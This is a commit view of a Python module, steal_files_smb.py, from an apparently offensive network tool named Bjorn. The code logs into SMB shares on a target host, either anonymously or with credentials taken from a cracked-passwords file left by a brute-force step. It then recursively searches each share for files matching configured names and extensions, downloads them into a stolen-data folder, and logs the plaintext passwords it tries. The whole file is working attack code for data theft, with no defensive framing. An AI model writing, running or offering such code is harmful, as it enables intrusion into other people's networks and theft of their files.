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First Bjorn Commit !
This commit is contained in:
Fabien POLLY
223
actions/steal_files_smb.py
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223
actions/steal_files_smb.py
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import os
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import logging
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from rich.console import Console
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from threading import Timer
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import time
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from smb.SMBConnection import SMBConnection
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from smb.base import SharedFile
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from shared import SharedData
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from logger import Logger
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# Configure the logger
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logger = Logger(name="steal_files_smb.py", level=logging.DEBUG)
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# Define the necessary global variables
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b_class = "StealFilesSMB"
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b_module = "steal_files_smb"
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b_status = "steal_files_smb"
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b_parent = "SMBBruteforce"
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b_port = 445
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IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$', 'Sharename', '---------', 'SMB1'}
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class StealFilesSMB:
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"""
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Class to handle the process of stealing files from SMB shares.
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"""
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def __init__(self, shared_data):
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try:
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self.shared_data = shared_data
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self.smb_connected = False
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self.stop_execution = False
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logger.info("StealFilesSMB initialized")
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except Exception as e:
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logger.error(f"Error during initialization: {e}")
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def connect_smb(self, ip, username, password):
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"""
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Establish an SMB connection.
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"""
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try:
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conn = SMBConnection(username, password, "Bjorn", "Target", use_ntlm_v2=True, is_direct_tcp=True)
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conn.connect(ip, 445)
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logger.info(f"Connected to {ip} via SMB with username {username}")
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self.smb_connected = True
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return conn
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except Exception as e:
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logger.error(f"SMB connection error for {ip} with user '{username}' and password '{password}': {e}")
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return None
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def find_files(self, conn, share_name, dir_path):
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"""
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Find files in the SMB share based on the configuration criteria.
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"""
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files = []
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try:
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for file in conn.listPath(share_name, dir_path):
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if file.isDirectory:
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if file.filename not in ['.', '..']:
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files.extend(self.find_files(conn, share_name, os.path.join(dir_path, file.filename)))
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else:
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if any(file.filename.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
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any(file_name in file.filename for file_name in self.shared_data.steal_file_names):
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files.append(os.path.join(dir_path, file.filename))
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logger.info(f"Found {len(files)} matching files in {dir_path} on share {share_name}")
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except Exception as e:
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logger.error(f"Error accessing path {dir_path} in share {share_name}: {e}")
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return files
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def steal_file(self, conn, share_name, remote_file, local_dir):
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"""
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Download a file from the SMB share to the local directory.
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"""
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try:
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local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
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local_file_dir = os.path.dirname(local_file_path)
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os.makedirs(local_file_dir, exist_ok=True)
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with open(local_file_path, 'wb') as f:
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conn.retrieveFile(share_name, remote_file, f)
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logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
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except Exception as e:
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logger.error(f"Error downloading file {remote_file} from share {share_name}: {e}")
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def list_shares(self, conn):
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"""
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List shares using the SMBConnection object.
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"""
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try:
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shares = conn.listShares()
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valid_shares = [share for share in shares if share.name not in IGNORED_SHARES and not share.isSpecial and not share.isTemporary]
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logger.info(f"Found valid shares: {[share.name for share in valid_shares]}")
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return valid_shares
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except Exception as e:
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logger.error(f"Error listing shares: {e}")
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return []
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def execute(self, ip, port, row, status_key):
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"""
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Steal files from the SMB share.
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"""
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try:
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if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
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self.shared_data.bjornorch_status = "StealFilesSMB"
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logger.info(f"Stealing files from {ip}:{port}...")
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# Wait a bit because it's too fast to see the status change
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time.sleep(5)
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# Get SMB credentials from the cracked passwords file
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smbfile = self.shared_data.smbfile
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credentials = {}
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if os.path.exists(smbfile):
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with open(smbfile, 'r') as f:
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lines = f.readlines()[1:] # Skip the header
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for line in lines:
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parts = line.strip().split(',')
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if parts[1] == ip:
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share = parts[3]
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user = parts[4]
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password = parts[5]
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if share not in credentials:
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credentials[share] = []
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credentials[share].append((user, password))
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logger.info(f"Found credentials for {len(credentials)} shares on {ip}")
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def try_anonymous_access():
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"""
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Try to access SMB shares without credentials.
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"""
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try:
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conn = self.connect_smb(ip, '', '')
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shares = self.list_shares(conn)
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return conn, shares
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except Exception as e:
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logger.info(f"Anonymous access to {ip} failed: {e}")
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return None, None
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if not credentials and not try_anonymous_access():
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logger.error(f"No valid credentials found for {ip}. Skipping...")
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return 'failed'
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def timeout():
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"""
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Timeout function to stop the execution if no SMB connection is established.
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"""
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if not self.smb_connected:
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logger.error(f"No SMB connection established within 4 minutes for {ip}. Marking as failed.")
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self.stop_execution = True
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timer = Timer(240, timeout) # 4 minutes timeout
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timer.start()
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# Attempt anonymous access first
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success = False
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conn, shares = try_anonymous_access()
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if conn and shares:
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for share in shares:
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if share.isSpecial or share.isTemporary or share.name in IGNORED_SHARES:
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continue
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remote_files = self.find_files(conn, share.name, '/')
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mac = row['MAC Address']
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local_dir = os.path.join(self.shared_data.datastolendir, f"smb/{mac}_{ip}/{share.name}")
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if remote_files:
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for remote_file in remote_files:
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if self.stop_execution:
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break
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self.steal_file(conn, share.name, remote_file, local_dir)
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success = True
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countfiles = len(remote_files)
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logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} via anonymous access")
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conn.close()
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if success:
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timer.cancel() # Cancel the timer if the operation is successful
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# Track which shares have already been accessed anonymously
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attempted_shares = {share.name for share in shares} if success else set()
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# Attempt to steal files using each credential for shares not accessed anonymously
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for share, creds in credentials.items():
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if share in attempted_shares or share in IGNORED_SHARES:
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continue
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for username, password in creds:
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if self.stop_execution:
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break
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try:
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logger.info(f"Trying credential {username}:{password} for share {share} on {ip}")
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conn = self.connect_smb(ip, username, password)
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if conn:
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remote_files = self.find_files(conn, share, '/')
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mac = row['MAC Address']
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local_dir = os.path.join(self.shared_data.datastolendir, f"smb/{mac}_{ip}/{share}")
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if remote_files:
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for remote_file in remote_files:
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if self.stop_execution:
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break
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self.steal_file(conn, share, remote_file, local_dir)
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success = True
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countfiles = len(remote_files)
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logger.info(f"Successfully stolen {countfiles} files from {ip}:{port} on share '{share}' with user '{username}'")
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conn.close()
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if success:
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timer.cancel() # Cancel the timer if the operation is successful
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break # Exit the loop as we have found valid credentials
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except Exception as e:
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logger.error(f"Error stealing files from {ip} on share '{share}' with user '{username}': {e}")
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# Ensure the action is marked as failed if no files were found
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if not success:
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logger.error(f"Failed to steal any files from {ip}:{port}")
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return 'failed'
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else:
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return 'success'
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else:
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logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
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return 'failed'
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except Exception as e:
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logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
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return 'failed'
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if __name__ == "__main__":
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try:
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shared_data = SharedData()
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steal_files_smb = StealFilesSMB(shared_data)
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# Add test or demonstration calls here
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except Exception as e:
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logger.error(f"Error in main execution: {e}")
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